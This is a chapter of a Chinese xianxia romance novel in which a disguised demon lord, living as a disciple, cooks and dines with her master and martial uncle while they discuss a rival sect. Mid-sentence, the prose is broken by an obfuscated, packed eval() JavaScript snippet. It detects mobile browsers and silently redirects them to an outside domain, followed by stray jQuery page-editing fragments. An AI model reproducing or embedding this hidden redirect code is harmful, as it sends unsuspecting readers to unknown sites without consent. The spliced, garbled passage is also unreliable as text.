“咚咚。”
房间的门又一次被敲响。
季寻月从睡梦中被吵醒,困倦得睁不开眼,冲门外喊了声:“师妹,我再睡会……”
却听见门外传来玄淮的声音:“锦月,是我。”
季寻月这才想起师妹在禁闭中,而她好像睡过了头。
不仅错过了早课,好像……也没去修炼。
季寻月清醒了大半,急急忙忙起身披上外衣,打开条门缝,露出半张脸。
“师父,我好像……睡过头了。”
玄淮眸中浮现笑意,他微微摇头:“你昨天累了一天,多睡会是应该的,只是我一直未见你,有些担心,所以过来看看。”
季寻月看了眼天色:“多谢师父关心,我没事。”
她又睡到了傍晚,只是今天叫醒她的不是师妹,季寻月情绪有些低落。
玄淮问:“时渊来了,你要见他吗?”
季寻月想再睡会,刚打算回绝,就听见不远处时渊的声音。
“你这话把我说得好像见不得人一样。”
玄淮淡淡道:“我不是让你别过来?”
时渊理直气壮道:“我没过来,我就站在这边说话不行吗?”
季寻月问:“师叔今天来有什么事吗?”
时渊没好气道:“你说呢?钟灵出了这么大的事你们都没告诉我,拿我当外人?”
季寻月一时不知该怎么回答。
玄淮瞥了一眼时渊的方向,冷冷道:“那你跑过来大吵大闹的就是关心了?”
“她们师姐妹两个关系那么好,我怕锦月想不开,过来看看。”
季寻月被时渊的大嗓门吵得睡意全无,无奈道:“师叔,师妹她只是一个月禁闭,我犯不着想不开吧?”
时渊道:“你都睡了快一天了,也该起来吃点东西了。”
季寻月听着更是窝火,她回仙界的时候天都快亮了,根本没睡多久。
“师妹不在,谁还能给我做饭。”
季寻月无奈地叹了口气,没了师妹喊她起床,也没了师妹做饭,她的日子过得凄风苦雨的。
却听玄淮道:“我来吧。”
季寻月一愣:“不麻烦师父了,我随便煮点东西吃就行。”
时渊插话道:“我劝你别拒绝,玉千婵帝姬下午找玄淮帮忙炼药,等他闭了关,你就要自己对付吃的了。”
玉千婵行动速度倒是快。
玄淮不留情面道:“我看,是你自己想留下来吃饭。”
时渊急道:“你不会又要赶我走吧?我上次都跟你道歉了,你还没解气?”
玄淮看向他,冷冷笑了一声。
季寻月看着玄淮的侧脸,他好看的眉微微蹙起,眼神透着冷漠。
她似乎只见过玄淮会对时渊摆出这样一副神情,冷漠中有种莫名的敌意和愤怒。
玄淮对她和钟灵虽然疏离但始终温和,对外人就是一贯的冷淡。
上次,不就是第一次修炼那天?
她和师妹还在准备晚饭,玄淮就突然告知他们时渊离开了。
原来是因为他们起了争执。
季寻月眨眨眼,她这里看不见时渊,但能感觉到外面两人之间的气氛十分紧张。
“师父……”她轻声喊道。
玄淮敛了神色,看向她:“抱歉。”
季寻月想了想,还是让他俩再好好聊聊。
“那就麻烦师父下厨,我帮师父打打下手吧,还有……师叔也留下来一起吃个饭吧?”
玄淮应得很快:“好。”
时渊声音这才放松了些:“还是锦月懂事。”
季寻月无奈笑笑:“师父先过去吧,我收拾下就去。”
玄淮点了点头。
——————————
进了厨房,玄淮已经在忙碌中了。
季寻月看着他,觉得画面有些温馨,也莫名有些熟悉。
难道是因为让她想起了师妹?
“我来吧,师父。”季寻月定定神,走了过去。
玄淮把洗菜的活交给她,转身去把洗好的菜切碎。
季寻月想了想,还是犹豫开口:“不知道师父和师叔上次是起了什么矛盾?”
玄淮没有想象中的抗拒,反倒笑意淡淡:“你想帮我们调解矛盾?”
“师父生这么大气,恐怕不是我几句话劝得了的。”
玄淮顿了顿,淡淡道:“已经不生气了。”
季寻月迟疑地应了声。
“我预计闭关八天,你照顾好自己,有什么事随时可以找我。”
八天?那不就是到三月三十?
蜃渊开花在二十九日,所以他是不知道,还是以玉千婵的任务为先搁置了?
她猜不出答案,还是亲眼见证好了。
“师父放心,我会努力修炼的。”
季寻月说着,忽然失笑。
等到玄淮出关,她已经是二重境的修仙奇才了。
季寻月把菜沥了水,把菜篮放到玄淮面前。
玄淮熟稔地从篮子里抓出一把菜,与她衔接得十分流畅。
宽大的衣袖被他束着,露出肌肉线条匀称的小臂。
季寻月看着玄淮手上的动作,看得出神。
“怎么了?”玄淮问。
季寻月摇摇头:“还有我能帮忙的地方吗?”
玄淮笑笑:“都交给我吧。”
他的笑较往常多了些暖意,好似与她十分亲近。
季寻月愣了愣,又好像找不出不对劲的地方。
油倒进烧好的锅里,哔啵作响,散发着淡淡的香味。
季寻月看师妹做了那么多天饭菜,也学会不少,此刻她同样虚心学习。
见玄淮翻炒同样的食材却只放了一勺盐,季寻月不由道:“师妹喜欢放两勺。”
玄淮淡淡笑了笑,却加了勺醋,又添了勺糖。
“糖醋?”
“待会尝尝这种做法的味道如何?”玄淮垂眸,嘴角始终噙着笑意。
季寻月看着他的脸发呆。
他实在是一举一动都能吸引她的瞩目。
长的好看,又会做饭又能炼药,全能得不行。
为什么昨天和傅靖川对话时会想到玄淮,难道她真的动了什么心思?
季寻月无奈地晃晃脑袋,劝自己不要一时贪图美色。
她到底还是一点也不了解玄淮。
——————————
到了玄淮住处的小院,时渊坐在院子里那棵参天的灵树上望着远处出神。
他安静时的眉眼同样写着生人勿近。
听到两人的脚步声,时渊侧脸看了过来,随后纵身一跃,衣袖猎猎。
三人入了座,一向健谈的时渊少见的沉默着。
两人虽说缓和了,但需要有一个先低头的。
季寻月被他们之间的尴尬气氛搞得浑身不自在。
她心中叹了口气,魔尊当久了,到哪儿她都改不了操心的习惯。
随后,她重重叹了口气。
果然吸引了两个人的注意力。
时渊自然巴不得有人给台阶下:“好好的,怎么叹气?”
季寻月闷声道:“师妹一个月不吃不喝,把身体熬坏了怎么办?”
时渊也面露愁容,安慰她:“别担心,结界可以维持她的生命运转。”
季寻月又是叹气:“这次跟衍明宗结了梁子,还不知道他们要怎么针对我和师妹。”
时渊不屑地冷哼一声:“那个衍明宗,从上到下没一个好东西!”
季寻月来了兴趣,看来衍明宗结怨不少。
“师叔愿意讲讲吗?”
忽觉玄淮投来的视线,季寻月把时渊面前的一盘小炒往他面前推了推:“师叔,别干聊,先吃饭。”
时渊是客人,待客的礼仪她还是知道的。
但是余光之中,玄淮垂下眸,神情似乎冷了许多。
的确是不能厚此薄彼。
季寻月又往玄淮面前推了一碟小菜。
她也深谙端水之道。
季寻月手支在桌上,视线在两人之间来回切换,盯得时渊和玄淮有些不自在,两人这才动了筷。
软硬兼施,先礼后兵,对于管理手下十分有效。
她为这个师门付出了太多。
时渊尝了一口,神色舒缓,夸赞的话刚到嘴边,又变得硬生生的:“玄淮,我还是第一次知道你厨艺这么好。”
玄淮淡淡应了声。
时渊面色一僵,还是换了交谈对象:“锦月,你不是问我衍明宗的事?”
季寻月点点头。
时渊正要开口,玄淮却打断了他,问季寻月:
“这些不合你口味吗?”
季寻月茫然看他一眼,才想起她光顾着晚辈的礼节,一直没动筷。
她挨个尝了一口,炒菜清爽不油腻,羹汤清香鲜美,凉菜爽脆可口。
师妹是家常菜的做法,以简易快捷为基础,玄淮则注重食材与做法的匹配,凸显食材原本的风味。
“师父手艺确实好。”她对玄淮笑了笑。
的确很合她口味。
又像是,知道她的口味一般。
就如那盘炒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16024215|178543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
菜,师妹的做法尝起来咸中带着食材的苦,而改成糖醋口味就中和了原有的苦味,她确实更喜欢玄淮的做法。
季寻月笑笑:“想不到师父也精通厨艺。”
脑海中忽然浮现出一只小狐狸又是做饭又是炼药,躲在家里几年不出门的样子。
她的笑中多了些促狭。
玄淮有些怔然,然后才道:“以前研究过。”
时渊闷着脸地听两人对话,也是如坐针毡。
玄淮瞥他一眼,淡淡道:“你与衍明宗有过仇怨?”
时渊颇为意外地看了他一眼:“还是我刚到五重境的时候,我去北境采集药材,回来的路上却被他们那些想不劳而获的弟子抢了去。”
季寻月眉一皱:“这种事恐怕都找不到人主持公道。”
时渊沉默了片刻,摇摇头:“有。”
就算有人出头,长老那边也是大事化了吧。
季寻月问:“那结果是?”
“那几个弟子被逐出师门,因为他们以前做的事也被一同曝光了。”
季寻月这才舒展眉头:“真是大快人心,是谁这么厉害?”
时渊眉眼冷峻,又似有几分柔情:“一位故人。”
一个名字而已,为什么要藏着掖着?
她还想接着问,却听时渊语重心长地告诫:“不仅是衍明宗,六大仙门长期秉承以修为高低论资排辈的思想,不少弟子对修为异常执着,有些甚至到了魔怔的地步,你平日少和这几个宗门的人打交道。”
这不是巧了,她正迫切想要和他们扯上关系呢。
六大仙门人数众多,的确鱼龙混杂。
沈知遥、纪修文、周宇,都代表了不同的类型。
季寻月问:“那底层弟子岂不是很悲惨?”
时渊一脸理所当然:“就算是资质非凡,资源也不一定会向他倾斜,师父的地位,其他弟子受宠程度,想要飞升成仙可不仅仅是埋头苦修就能实现的。”
季寻月心下了然,好好的修炼被这些人搞得极为复杂,不仅是影响本门弟子,连其他宗门都要受牵连,当真是祸害。
她随口问:“说起来,还不知道师叔的师父是哪位仙人呢?”
时渊停了筷,冷冷道了句:“死了。”
季寻月不由一惊,欲言又止之际,又听他继续道:“死在神魔之战中。”
难道又是个跟魔界有仇的?
这仙界随手一抓就没有一个对魔界友好的人了吗?
季寻月讪讪道:“原来是牺牲了……”
时渊不屑地轻呵一声:“牺牲?不过是勾结魔界,死有余辜罢了。”
季寻月脸色僵了僵。
至少把话说清楚,勾结的哪一派吧?
“难道是投靠了现在这一派?”
而玄淮也停了动作,漠然看着两人。
季寻月浑身不自在,好像暴露了身份一样。
时渊面色一沉:“现在这个?”
季寻月心里一紧,死死盯着时渊。
时渊眸光深邃,似乎在想着什么,顿了顿才道:“那倒不是,不然现在也安宁不了。”
季寻月这才放了心。
但是看时渊的样子,他对魔界好像也有诸多不满。
不过她见怪不怪,早就无所谓了,立场不同,她无法强求他人对魔界的理解和宽容。
只要这些人至少对自己人没有算计就行了。
季寻月心知,她披了个叶锦月的身份,却终究不属于仙界。
和玄淮时渊他们也就只有现在的交集了。
季寻月忽然意识到一个问题:“所以师叔没有再拜一个师父?”
时渊摇了摇头:“师父是叛徒,谁还敢收我?而且我资质也不是特别优秀。”
没了人教导,修仙之路岂不是坎坷崎岖?
怪不得时渊说自己修炼得慢,原来过往也是一堆心酸苦楚,最后能够飞升成仙实在励志。
季寻月对时渊同情起来。
玄淮却忽然起了身,冷冷道:“你们聊,我先闭关了。”
季寻月也跟着起身,她刚想道一声别,却见他眼神古井无波,神情冰冷,顿时因他拒人千里的姿态噤了口。
即使她曾觉得玄淮冷淡如冰,但也从未如今天这般遥不可及。
“师父……”
玄淮的身影已经远去,她才茫然出声喊道。
是觉得她和时渊太聒噪了?
可玄淮一向话少,再没人说话,她都要闷得发慌了。
玄淮捉摸不透的性子让她有些心烦意乱。
可她为什么要烦这些?